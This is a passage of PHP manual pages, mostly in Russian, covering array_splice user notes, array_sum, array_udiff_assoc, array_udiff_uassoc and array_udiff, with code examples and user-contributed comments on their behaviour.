array_splice dynamically updates the total number of entries into the array. So for instance I had a case where I needed to insert a value into every 4th entry of the array from the back. The problem was when it added the first, because the total number was dynamically updated, it would only add after the 3rd then the 2nd and so one. The solution I found is to track the number of inserts which were done and account for them dynamically.

Code:
<?php
    $modarray = array_reverse($mili);
    $trig=1;
        foreach($modarray as $rubber => $glue) {
            if($rubber!="<BR>") {
            $i++;
            $b++;
            if ($i==4) {
                $trig++;
                if($trig<=2) {
                array_splice($modarray,$b,0,"<BR>");
                }elseif($trig>=3){
                array_splice($modarray,$b+($trig-2),0,"<BR>");
                }
                $i=0;
                };
                };
        };
    $fixarray = array_reverse($modarray);

?>
rolandfoxx at yahoo dot com 30-Mar-2004 12:16
Be careful, array_splice does not behave like you might expect should you try to pass it an object as the replacement argument.  Consider the following:

<?php
//Very truncated
class Tree {
  var $childNodes

  function addChild($offset, $node) {
    array_splice($this->childNodes, $offset, 0, $node);
    //...rest of function
  }

}

class Node {
  var $stuff
  ...
}

$tree = new Tree();
// ...set 2 nodes using other functions...
echo (count($tree->childNodes)); //Gives 2
$newNode = new Node();
// ...set node attributes here...
$tree->addChild(1, $newNode);
echo(count($tree->childNodes)); //Expect 3?  wrong!
?>

In this case, the array has a number of items added to it equal to the number of attributes in the new Node object and the values thereof  I.e, if your Node object has 2 attributes with values "foo" and "bar", count($tree->childNodes) will now return 4, with the items "foo" and "bar" added to it.  I'm not sure if this qualifies as a bug, or is just a byproduct of how PHP handles objects.

Here's a workaround for this problem:
function array_insertobj(&$array, $offset, $insert) {
  $firstPart = array_slice($array, 0, $offset);
  $secondPart = array_slice($array, $offset);
  $insertPart = array($insert);
  $array = array_merge($firstPart, $insertPart, $secondPart);
}

Note that this function makes no allowances for when $offset equals the first or last index in the array.  That's because array_unshift and array_push work just fine in those cases.  It's only array_splice that can trip you up.  Obviously, this is kinda tailor-made for arrays with numeric keys when you don't really care what said keys are, but i'm sure you could adapt it for associative arrays if you needed it.
kbrown at horizon dot sk dot ca 11-Aug-2003 12:40
[ Editor's Note: If you're not concerned with the indexes being contiguously numbered (such as for an associative array) then unset($ar[$ind]); will accomplish the same as the code below without requiring splice/splice/merge.  If contiguous numbering IS a concern (such as for indexed arrays), you can still save time by using: unset($ar[$ind]); $ar = array_values($ar); ]

Removing elements from arrays

This works better - much quicker

<?php
$ar = array("einstein", "bert", "colin", "descartes", "renoir");
$a = array_slice($ar, 0, $ind);
$b = array_slice($ar, $ind + 1);
$ar = array_merge($a, $b);
?>
plintus at smtp dot ru 14-Apr-2003 01:59
key-safe:

<?php
function array_kslice ($array, $offset, $length = 0) {
$k = array_slice (array_keys ($array), $offset, $length);
$v = array_slice (array_values ($array), $offset, $length);
for ($i = 0; $i < count ($k); $i ++) $r[$k[$i]] = $v[$i];
return $r;
}
?>

smth like this. hope you like it more than versions above :)
tsunaquake DOESNTLIKESPAM @ wp DOT pl 11-Nov-2002 10:56
It is possible to use a string instead of offset, eg if you want to deletre the entry $myArray['entry'] then you can simply do it like this:

<?php
array_splice($myArray, 'entry', 1);
?>

Note that you can use unset($myArray['entry']) as well but then, it doesn't enable you to remove more than one entry and it doesn't replace anything in the array, if that's what you intend to do.
18-Jun-2002 07:14
Please note that array_splice() 's second argument is an OFFSET and not an INDEX.

Lets say you want to
$array_of_items = array ('nothing','myitem','hisitem','heritem');
$sid = array_search('myitem',$array_of_items);
echo $sid; /* prints out 1, since index element 1 is "myitem" */

Now, lets say we want to remove that "myitem" from the array:

<?php
$array_of_items = array_splice($array_of_items,(1+$sid),1);
?>

Notice how you have to add a one to the $sid variable?  That is because offset item 1 is "nothing" and since $sid is currently 1 (the index of "myitem"), we add 1 more to it to find out
 its OFFSET.

DO NOT DO THIS:
 $array_of_items = array_splice($array_of_items,$sid,1);
paule at cs dot tamu dot edu 12-Jun-2002 09:59
to kokos@lac.lviv.ua:

Good point about the code not doing what you expected.

The failure to check for the insert case like you pointed out is not a bug, however. I didn't add code to handle that because the key of such an added index is more or less undefined in an unordered associative array. Put another way, if your array is associative and not auto-indexed, you most likely care enough about your keys to want to set them explicitly.
paule at cs dot tamu dot edu 06-Jun-2002 11:09
After reading KoKos' post above, I thought that the code I posted right before his should do what he wanted. However, my original post neglected to note the little "Tip" in the documentation above, about a single element replacement.

If one changes the lines in my code above that says:

<?php
                if(is_array($replacement))
                    foreach($replacement as $r_key=>$r_value)
                        $new_array[$r_key]=$r_value;
?>

to instead say:

<?php
                if(is_string($replacement))
                    $new_array[$key]=$replacement;
                elseif(is_array($replacement))
                    foreach($replacement as $r_key=>$r_value)
                        $new_array[$r_key]=$r_value;
?>

that will solve the problem.

Sorry for the omission.
kokos at lac dot lviv dot ua 06-Jun-2002 08:26
It may seem obvious from the above posts, but cost me a bit of
braindamage to figure this out...

Contrary to the equivalence noted on this page
$input[$x] = $y   <==>   array_splice ($input, $x, 1, $y)
array_splice() will not always work as expected,
even provided that you have only INTEGER keys!

The following code:
   $t=array('a','b','c','d','e');
   var_dump($t);

<?php
   unset($t[0],$t[1],$t[3]);
   $t[0]='f';
   var_dump($t);

   array_splice($t,0,1,'g');
   var_dump($t);
?>

Will produce:
array(5) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
}
array(3) {
  [2]=>
  string(1) "c"
  [4]=>
  string(1) "e"
  [0]=>
  string(1) "f"
}
array(3) {
  [0]=>
  string(1) "g"
  [1]=>
  string(1) "e"
  [2]=>
  string(1) "f"
}

Note the position of $t[0] in the second call to var_dump().
And of course, array_splice() left it intact, changing $t[2] instead.
This is because it operates the _offset_, not the _index_.  :)
I think that "equivalence note" should be considered buggy.  ;)))

Best wishes.
KoKos.
jrhardytwothousandtwo at yahoo dot com 14-Feb-2002 11:54
A reference is made to INSERT'ing into an array here with array_splice, however its not explained very well.  I hope this example will help others find what took me days to research.

<?php
$original_array = array(1,2,3,4,5);
$insert_into_key_position = 3;
$item_to_insert = "blue";

$returned = array_splice($original_array, $insert_into_key_position, 0, $item_to_insert);

// $original_array will now show:

// 1,2,3,blue,4,5
?>

Remember that you are telling the array to insert the element into the KEY position.  Thus the elements start with key 0 and so on 0=>1, 1=>2, 2=>3, 3=>blue, 4=>4, 5=>5.  And walla, you've inserted.  I can't say if this is of any value for named keys, or multidimensional arrays.  However it does work for single dimensional arrays.

$returned should be an empty array as nothing was returned.  This would have substance if you were doing a replace instead.
leingang AT math DOT rutgers DOT edu 15-Jan-2002 07:32
array_splice resets the internal pointer of $input.  In fact, many array functions do this.  Caveat programmor!


Вычисляет сумму значений массива

  • « array_splice
  • array_udiff_assoc »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет сумму значений массива

array_sum

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

array_sum — Вычисляет сумму значений массива

Описание

array_sum(array $array): int|float

Функция array_sum() возвращает сумму значений массива.

Список параметров

array

Входной массив.

Возвращаемые значения

Возвращает сумму значений в виде целого числа или числа с плавающей точкой; 0, если массив (array) пуст.

Список изменений

Версия | Описание
8.3.0 | Теперь выдаёт ошибку уровня E_WARNING, когда значения массива (array) невозможно преобразовать в целое число (int) или число с плавающей точкой (float). Раньше массивы (array) и объекты (object) игнорировались, тогда как остальные значения приводились к целому числу (int). Больше того, объекты, определяющие числовое приведение (например, объекты класса GMP), теперь приводятся, а не игнорируются.

Примеры

Пример #1 Пример использования функции array_sum()

<?php

$a = array(2, 4, 6, 8);
echo "sum(a) = " . array_sum($a) . "\n";

$b = array("a" => 1.2, "b" => 2.3, "c" => 3.4);
echo "sum(b) = " . array_sum($b) . "\n";

?>

Результат выполнения приведённого примера:

sum(a) = 20
sum(b) = 6.9

User Contributed Notes

sarosekvlad12 at gmail dot com 09-Jun-2023 05:41
If you have a case where your array has int in strings, it sums them up as if there were only int in the array!
function sum_mix($a)
{
    return array_sum($a);
}
var_dump(sum_mix([9, 3, '7', '3']));
Response will be int(22)
harl at gmail dot com 29-Dec-2022 11:31
array_sum() doesn't "ignore strings if they are not convertible", it converts them to zero. array_product() does the same thing, where the difference between "ignoring" and "converting to zero" is much more obvious.
Michele Marsching 21-Dec-2022 11:19
Notably the function converts strings to float and ignores strings if they are not convertable:

<?php
$a = array("String", 2, 4, 6, 8);
echo "sum(a) = " . array_sum($a) . "\n";

$b = array("12.3456", 2, 4, 6, 8);
echo "sum(b) = " . array_sum($b) . "\n";
?>

sum(a) = 20
sum(b) = 32.3456
samiulmomin191139 at gmail dot com 03-Feb-2022 07:19
<?php
//you can also sum multidimentional arrays like this;

function arraymultisum(array $arr){
$sum=null;

    foreach($arr as $child){
        $sum+=is_array($child) ? arraymultisum($child):$child;
    }
    return $sum;
}

echo arraymultisum(array(1,4,5,[1,5,8,[4,5,7]]));

//Answer Will be
//40

?>
rodrigo at adboosters dot com 28-Jan-2022 12:29
If you want to calculate the sum in multi-dimensional arrays:

<?php
function array_multisum(array $arr): float {
    $sum = array_sum($arr);
    foreach($arr as $child) {
        $sum += is_array($child) ? array_multisum($child) : 0;
    }
    return $sum;
}
?>

Example:

<?php
$data =
[
    'a' => 5,
    'b' =>
    [
        'c' => 7,
        'd' => 3
    ],
    'e' => 4,
    'f' =>
    [
        'g' => 6,
        'h' =>
        [
            'i' => 1,
            'j' => 2
        ]
    ]
];

echo array_multisum($data);

//output: 28
?>
yakushabb at gmail dot com 26-Jan-2022 02:16
array_sum converts strings to integer and array_sum(2,'2') returns 4.

I had no idea.


Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений callback-функцию

  • « array_sum
  • array_udiff_uassoc »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений callback-функцию

array_udiff_assoc

(PHP 5, PHP 7, PHP 8)

array_udiff_assoc — Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений callback-функцию

Описание

array_udiff_assoc(array $array, array ...$arrays, callable $value_compare_func): array

Вычисляет расхождение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию.

Замечание: Обратите внимание, что функция обрабатывает только первый уровень многомерного массива. Значения на вложенных уровнях обрабатывают, например, так: array_udiff_assoc($array1[0], $array2[0], "some_comparison_func");.

Список параметров

array

Первый массив.

arrays

Массивы для сравнения.

value_compare_func

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Предостережение

Callback-функция сортировки должна обрабатывать любое значение из любого массива в любом порядке, независимо от того, в каком порядке они были предоставлены вначале. Причина этого в том, что каждый отдельный массив сначала сортируется перед сравнением с другими массивами. Например:

<?php

$arrayA = ["string", 1];
$arrayB = [["value" => 1]];
// $item1 and $item2 can be any of "string", 1 or ["value" => 1]
$compareFunc = static function ($item1, $item2) {
$value1 = is_string($item1) ? strlen($item1) : (is_array($item1) ? $item1["value"] : $item1);
$value2 = is_string($item2) ? strlen($item2) : (is_array($item2) ? $item2["value"] : $item2);
return $value1 <=> $value2;
};

?>

Возвращаемые значения

Функция array_udiff_assoc() возвращает массив (array), содержащий элементы аргумента array, которых нет ни в одном другом аргументе. Обратите внимание, что в отличие от функций array_diff() и array_udiff() при сравнении значений также сравниваются и ключи. Значения массива сравнивает заданная пользователем callback-функция. В этой части поведение функции отличается от поведения функции array_diff_assoc(), которая для сравнения работает со встроенной функцией.

Примеры

Пример #1 Пример использования функции array_udiff_assoc()

<?php

class cr {
private $priv_member;
function __construct($val)
{
$this->priv_member = $val;
}

static function comp_func_cr($a, $b)
{
if ($a->priv_member === $b->priv_member) return 0;
return ($a->priv_member > $b->priv_member)? 1:-1;
}
}

$a = array("0.1" => new cr(9), "0.5" => new cr(12), 0 => new cr(23), 1=> new cr(4), 2 => new cr(-15),);
$b = array("0.2" => new cr(9), "0.5" => new cr(22), 0 => new cr(3), 1=> new cr(4), 2 => new cr(-15),);

$result = array_udiff_assoc($a, $b, array("cr", "comp_func_cr"));
print_r($result);

?>

Результат выполнения приведённого примера:

Array
(
    [0.1] => cr Object
        (
            [priv_member:private] => 9
        )

    [0.5] => cr Object
        (
            [priv_member:private] => 12
        )

    [0] => cr Object
        (
            [priv_member:private] => 23
        )
)

В приведённом примере видно, что пара "1" => new cr(4) есть в обоих массивах, и поэтому её нет в выводе функции.

Смотрите также

  • array_diff() - Вычисляет расхождение массивов
  • array_diff_assoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса
  • array_diff_uassoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса через пользовательскую callback-функцию
  • array_udiff() - Вычисляет расхождение массивов, используя для сравнения callback-функцию
  • array_udiff_uassoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений и индексов callback-функцию
  • array_intersect() - Вычисляет пересечение массивов
  • array_intersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса
  • array_uintersect() - Вычисляет пересечение массивов, используя для сравнения значений callback-функцию
  • array_uintersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_uintersect_uassoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса, используя для сравнения индексов и значений отдельные callback-функции

User Contributed Notes

m dot ario dot huq at gmail dot com 05-Mar-2018 06:28
The example #1 can be modified (PHP 7 or higher) by using Spaceship operator (<=>):

<?php
//...
static function comp_func_cr($a, $b)
{
    return $a->priv_member <=> $b->priv_member;
}
//...
?>
tmquang6805 at yahoo dot com 25-May-2014 09:54
Difference between array_udiff_assoc() and array_diff_assoc()

- array_udiff_assoc(): Compares the DATA with the user supplied callback function
- array_diff_assoc(): Compares the INDEX with the user supplied callback function


Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений и индексов callback-функцию

  • « array_udiff_assoc
  • array_udiff »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений и индексов callback-функцию

array_udiff_uassoc

(PHP 5, PHP 7, PHP 8)

array_udiff_uassoc — Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений и индексов callback-функцию

Описание

array_udiff_uassoc(
array $array,
array ...$arrays,
callable $value_compare_func,
callable $key_compare_func
): array

Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений и индексов callback-функцию.

Обратите внимание, что в отличие от функций array_diff() и array_udiff() при сравнении значений также сравниваются и ключи.

Список параметров

array

Первый массив.

arrays

Массивы для сравнения.

value_compare_func

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Предостережение

Callback-функция сортировки должна обрабатывать любое значение из любого массива в любом порядке, независимо от того, в каком порядке они были предоставлены вначале. Причина этого в том, что каждый отдельный массив сначала сортируется перед сравнением с другими массивами. Например:

<?php

$arrayA = ["string", 1];
$arrayB = [["value" => 1]];
// $item1 and $item2 can be any of "string", 1 or ["value" => 1]
$compareFunc = static function ($item1, $item2) {
$value1 = is_string($item1) ? strlen($item1) : (is_array($item1) ? $item1["value"] : $item1);
$value2 = is_string($item2) ? strlen($item2) : (is_array($item2) ? $item2["value"] : $item2);
return $value1 <=> $value2;
};

?>

key_compare_func

Сравнение ключей (индексов) выполняется также callback-функцией key_compare_func. Это поведение отличается от поведения функции array_udiff_assoc(), которая сравнивает индексы через внутреннюю функцию.

Возвращаемые значения

Возвращает массив (array), содержащий элементы аргумента array, которых нет ни в одном другом аргументе.

Примеры

Пример #1 Пример использования функции array_udiff_uassoc()

<?php

class cr {
private $priv_member;
function __construct($val)
{
$this->priv_member = $val;
}

static function comp_func_cr($a, $b)
{
if ($a->priv_member === $b->priv_member) return 0;
return ($a->priv_member > $b->priv_member)? 1:-1;
}

static function comp_func_key($a, $b)
{
if ($a === $b) return 0;
return ($a > $b)? 1:-1;
}
}
$a = array("0.1" => new cr(9), "0.5" => new cr(12), 0 => new cr(23), 1=> new cr(4), 2 => new cr(-15),);
$b = array("0.2" => new cr(9), "0.5" => new cr(22), 0 => new cr(3), 1=> new cr(4), 2 => new cr(-15),);

$result = array_udiff_uassoc($a, $b, array("cr", "comp_func_cr"), array("cr", "comp_func_key"));
print_r($result);

?>

Результат выполнения приведённого примера:

Array
(
    [0.1] => cr Object
        (
            [priv_member:private] => 9
        )

    [0.5] => cr Object
        (
            [priv_member:private] => 12
        )

    [0] => cr Object
        (
            [priv_member:private] => 23
        )
)

В приведённом примере видно, что пара "1" => new cr(4) есть в обоих массивах, и поэтому её нет в выводе функции. Функция будет работать, только если ей предоставили две функции обратного вызова.

Примечания

Замечание: Обратите внимание, что функция обрабатывает только первый уровень многомерного массива. Значения на вложенных уровнях обрабатывают, например, так: array_udiff_uassoc($array1[0], $array2[0], "data_compare_func", "key_compare_func");.

Смотрите также

  • array_diff() - Вычисляет расхождение массивов
  • array_diff_assoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса
  • array_udiff() - Вычисляет расхождение массивов, используя для сравнения callback-функцию
  • array_udiff_assoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_intersect() - Вычисляет пересечение массивов
  • array_intersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса
  • array_uintersect() - Вычисляет пересечение массивов, используя для сравнения значений callback-функцию
  • array_uintersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_uintersect_uassoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса, используя для сравнения индексов и значений отдельные callback-функции

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет расхождение массивов, используя для сравнения callback-функцию

  • « array_udiff_uassoc
  • array_uintersect_assoc »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет расхождение массивов, используя для сравнения callback-функцию

array_udiff

(PHP 5, PHP 7, PHP 8)

array_udiff — Вычисляет расхождение массивов, используя для сравнения callback-функцию

Описание

array_udiff(array $array, array ...$arrays, callable $value_compare_func): array

Вычисляет расхождение массивов, используя для сравнения данных callback-функцию. Поведение этой функции отличается от поведения функции array_diff(), которая сравнивает данные через внутреннюю функцию.

Список параметров

array

Первый массив.

arrays

Массивы для сравнения.

value_compare_func

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Предостережение

Callback-функция сортировки должна обрабатывать любое значение из любого массива в любом порядке, независимо от того, в каком порядке они были предоставлены вначале. Причина этого в том, что каждый отдельный массив сначала сортируется перед сравнением с другими массивами. Например:

<?php

$arrayA = ["string", 1];
$arrayB = [["value" => 1]];
// $item1 and $item2 can be any of "string", 1 or ["value" => 1]
$compareFunc = static function ($item1, $item2) {
$value1 = is_string($item1) ? strlen($item1) : (is_array($item1) ? $item1["value"] : $item1);
$value2 = is_string($item2) ? strlen($item2) : (is_array($item2) ? $item2["value"] : $item2);
return $value1 <=> $value2;
};

?>

Возвращаемые значения

Возвращает массив (array), содержащий элементы аргумента array, которых нет ни в одном другом аргументе.

Примеры

Пример #1 Пример использования функции array_udiff() с объектами класса stdClass

<?php

// Массивы для сравнения
$array1 = array(new stdClass, new stdClass,
new stdClass, new stdClass,
);

$array2 = array(
new stdClass, new stdClass,
);

// Проставление свойств для объектов
$array1[0]->width = 11; $array1[0]->height = 3;
$array1[1]->width = 7; $array1[1]->height = 1;
$array1[2]->width = 2; $array1[2]->height = 9;
$array1[3]->width = 5; $array1[3]->height = 7;

$array2[0]->width = 7; $array2[0]->height = 5;
$array2[1]->width = 9; $array2[1]->height = 2;

function compare_by_area($a, $b) {
$areaA = $a->width * $a->height;
$areaB = $b->width * $b->height;

if ($areaA < $areaB) {
return -1;
} elseif ($areaA > $areaB) {
return 1;
} else {
return 0;
}
}

print_r(array_udiff($array1, $array2, 'compare_by_area'));

?>

Результат выполнения приведённого примера:

Array
(
    [0] => stdClass Object
        (
            [width] => 11
            [height] => 3
        )

    [1] => stdClass Object
        (
            [width] => 7
            [height] => 1
        )

)

Пример #2 Пример использования функции array_udiff() с объектами класса DateTime

<?php

class MyCalendar {
public $free = array();
public $booked = array();

public function __construct($week = 'now') {
$start = new DateTime($week);
$start->modify('Monday this week midnight');
$end = clone $start;
$end->modify('Friday this week midnight');
$interval = new DateInterval('P1D');
foreach (new DatePeriod($start, $interval, $end) as $freeTime) {
$this->free[] = $freeTime;
}
}

public function bookAppointment(DateTime $date, $note) {
$this->booked[] = array('date' => $date->modify('midnight'), 'note' => $note);
}

public function checkAvailability() {
return array_udiff($this->free, $this->booked, array($this, 'customCompare'));
}

public function customCompare($free, $booked) {
if (is_array($free)) $a = $free['date'];
else $a = $free;
if (is_array($booked)) $b = $booked['date'];
else $b = $booked;
if ($a == $b) {
return 0;
} elseif ($a > $b) {
return 1;
} else {
return -1;
}
}
}

// Создание календаря еженедельных встреч
$myCalendar = new MyCalendar;

// Запись еженедельных встреч
$myCalendar->bookAppointment(new DateTime('Monday this week'), "Уборка квартиры сотрудника Google.");
$myCalendar->bookAppointment(new DateTime('Wednesday this week'), "Катание на сноуборде.");
$myCalendar->bookAppointment(new DateTime('Friday this week'), "Борьба с багами в коде.");

// Проверка доступности дней путём сравнения дат в переменной $booked с датами переменной $free
echo "Я доступен в следующие дни на этой неделе...\n\n";
foreach ($myCalendar->checkAvailability() as $free) {
echo $free->format('l'), "\n";
}
echo "\n\n";
echo "Я занят в следующие дни на этой неделе...\n\n";
foreach ($myCalendar->booked as $booked) {
echo $booked['date']->format('l'), ": ", $booked['note'], "\n";
}

?>

Результат выполнения приведённого примера:

Я доступен в следующие дни на этой неделе...

Tuesday
Thursday

Я занят в следующие дни на этой неделе...

Monday: Уборка квартиры сотрудника Google.
Wednesday: Катание на сноуборде.
Friday: Борьба с багами в коде.

Примечания

Замечание: Обратите внимание, что функция обрабатывает только первый уровень многомерного массива. Значения на вложенных уровнях обрабатывают, например, так: array_udiff($array1[0], $array2[0], "data_compare_func");.

Смотрите также

  • array_diff() - Вычисляет расхождение массивов
  • array_diff_assoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса
  • array_diff_uassoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса через пользовательскую callback-функцию
  • array_udiff_assoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_udiff_uassoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений и индексов callback-функцию
  • array_intersect() - Вычисляет пересечение массивов
  • array_intersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса
  • array_uintersect() - Вычисляет пересечение массивов, используя для сравнения значений callback-функцию
  • array_uintersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_uintersect_uassoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса, используя для сравнения индексов и значений отдельные callback-функции

User Contributed Notes

Jorge Morales (morales2k) 20-Dec-2018 02:17
I find it that this is an ideal place to apply the spaceship operator, but it was not used in the examples.

Here is Example#1 using the spaceship operator in the comparison function.

    <?php
    // Arrays to compare
    $array1 = array(new stdclass, new stdclass,
                    new stdclass, new stdclass,
                   );

    $array2 = array(
                    new stdclass, new stdclass,
                   );

    // Set some properties for each object
    $array1[0]->width = 11; $array1[0]->height = 3;
    $array1[1]->width = 7;  $array1[1]->height = 1;
    $array1[2]->width = 2;  $array1[2]->height = 9;
    $array1[3]->width = 5;  $array1[3]->height = 7;

    $array2[0]->width = 7;  $array2[0]->height = 5;
    $array2[1]->width = 9;  $array2[1]->height = 2;

    function compare_by_area($a, $b) {
        $areaA = $a->width * $a->height;
        $areaB = $b->width * $b->height;

        return $areaA <=> $areaB;
    }

    print_r(array_udiff($array1, $array2, 'compare_by_area'));
    ?>

The output is:
    Array
    (
        [0] => stdClass Object
            (
                [width] => 11
                [height] => 3
            )

        [1] => stdClass Object
            (
                [width] => 7
                [height] => 1
            )

    )

I find it is pretty awesome you can substitute all of these lines:
    if ($areaA < $areaB) {
        return -1;
    } elseif ($areaA > $areaB) {
        return 1;
    } else {
        return 0;
    }

with just:

    return $areaA <=> $areaB;

Neat!
napcoder 27-Jul-2016 08:38
Note that the compare function is used also internally, to order the arrays and choose which element compare against in the next round.

If your compare function is not really comparing (ie. returns 0 if elements are equals, 1 otherwise), you will receive an unexpected result.
b4301775 at klzlk dot com 15-Jun-2011 11:09
Quick example for using array_udiff to do a multi-dimensional diff

Returns values of $arr1 that are not in $arr2

<?php
$arr1 = array( array('Bob', 42), array('Phil', 37), array('Frank', 39) );

$arr2 = array( array('Phil', 37), array('Mark', 45) );

$arr3 = array_udiff($arr1, $arr2, create_function(
    '$a,$b',
    'return strcmp( implode("", $a), implode("", $b) ); ')
    );

print_r($arr3);
?>

Output:

Array
(
    [0] => Array
        (
            [0] => Bob
            [1] => 42
        )

    [2] => Array
        (
            [0] => Frank
            [1] => 39
        )

)
1

Hope this helps someone
jared 07-Jul-2009 12:27
Note that php does the string conversion *before* sending the values to the callback function.
adam dot jorgensen dot za at gmail dot com 08-Oct-2008 06:51
It is not stated, by this function also diffs array1 to itself, removing any duplicate values...
grantwparks at gmail dot com 31-Dec-2007 07:15
Re: "convoluted"

I think the point being made is that array_udiff() can be used not only for comparisons between homogenous arrays, as in your example (and definitely the most common need), but it can be used to compare heterogeneous arrays, too.

Consider:

<?php
function compr_1($a, $b) {
    $aVal = is_array($a) ? $a['last_name'] : $a;
    $bVal = is_array($b) ? $b['last_name'] : $b;
    return strcasecmp($aVal, $bVal);
}

$aEmployees = array(
    array('last_name'  => 'Smith',
            'first_name' => 'Joe',
            'phone'      => '555-1000'),
    array('last_name'  => 'Doe',
            'first_name' => 'John',
            'phone'      => '555-2000'),
    array('last_name'  => 'Flagg',
            'first_name' => 'Randall',
            'phone'      => '666-1000')
    );

$aNames = array('Doe', 'Smith', 'Johnson');

$result = array_udiff($aEmployees, $aNames, "compr_1");

print_r($result);
?>

Allowing me to get the "employee" that's not in the name list:

Array ( [2] => Array ( [last_name] => Flagg [first_name] => Randall [phone] => 666-1000 ) )

Something interesting to note, is that the two arguments to the compare function don't correspond to array1 and array2.  That's why there has to be logic in it to handle that either of the arguments might be pointing to the more complex employee array.  (Found this out the hard way.)
Colin 02-Aug-2006 01:15
I think the example given here using classes is convoluting things too much to demonstrate what this function does.

array_udiff() will walk through array_values($a) and array_values($b) and compare each value by using the passed in callback function.

To put it another way, array_udiff() compares $a[0] to $b[0], $b[1], $b[2], and $b[3] using the provided callback function.  If the callback returns zero for any of the comparisons then $a[0] will not be in the returned array from array_udiff().  It then compares $a[1] to $b[0], $b[1], $b[2], and $b[3].  Then, finally, $a[2] to $b[0], $b[1], $b[2], and $b[3].

For example, compare_ids($a[0], $b[0]) === -5 while compare_ids($a[1], $b[1]) === 0.  Therefore, $a[1] is not returned from array_udiff() since it is present in $b.

<?
$a = array(
        array(
                'id' => 10,
                'name' => 'John',
                'color' => 'red',
        ),
        array(
                'id' => 20,
                'name' => 'Elise',
                'color' => 'blue',
        ),
        array(
                'id' => 30,
                'name' => 'Mark',
                'color' => 'red',
        ),
);

$b = array(
        array(
                'id' => 15,
                'name' => 'Nancy',
                'color' => 'black',
        ),
        array(
                'id' => 20,
                'name' => 'Elise',
                'color' => 'blue',
        ),
        array(
                'id' => 30,
                'name' => 'Mark',
                'color' => 'red',
        ),
        array(
                'id' => 40,
                'name' => 'John',
                'color' => 'orange',
        ),
);

function compare_ids($a, $b)
{
    return ($a['id'] - $b['id']);
}
function compare_names($a, $b)
{
    return strcmp($a['name'], $b['name']);
}

$ret = array_udiff($a, $b, 'compare_ids');
var_dump($ret);

$ret = array_udiff($b, $a, 'compare_ids');
var_dump($ret);

$ret = array_udiff($a, $b, 'compare_names');
var_dump($ret);
?>

Which returns the following.

In the first return we see that $b has no entry in it with an id of 10.
<?
array(1) {
  [0]=>
  array(3) {
    ["id"]=>
    int(10)
    ["name"]=>
    string(4) "John"
    ["color"]=>
    string(3) "red"
  }
}
?>

In the second return we see that $a has no entry in it with an id of 15 or 40.
<?
array(2) {
  [0]=>
  array(3) {
    ["id"]=>
    int(15)
    ["name"]=>
    string(5) "Nancy"
    ["color"]=>
    string(5) "black"
  }
  [3]=>
  array(3) {
    ["id"]=>
    int(40)
    ["name"]=>
    string(4) "John"
    ["color"]=>
    string(6) "orange"
  }
}
?>

In third return we see that all names in $a are in $b (even though the entry in $b whose name is 'John' is different, the anonymous function is only comparing names).
<?
array(0) {
}
?>
dmhouse at gmail dot com 20-Jan-2005 01:44
Very easy way of achieving a case-insensitive version of array_diff (or indeed array_diff_assoc, array_intersect or any of these types of functions which have a similar function that takes a callback function as one of their parameters):

array_udiff($array1, $array2, 'strcasecmp');

This works because strcasecmp() compares two strings case-insensitively, as compared to the array_diff() which compares two strings by using the == operator, which is case-sensitive.
aidan at php dot net 28-May-2004 07:11
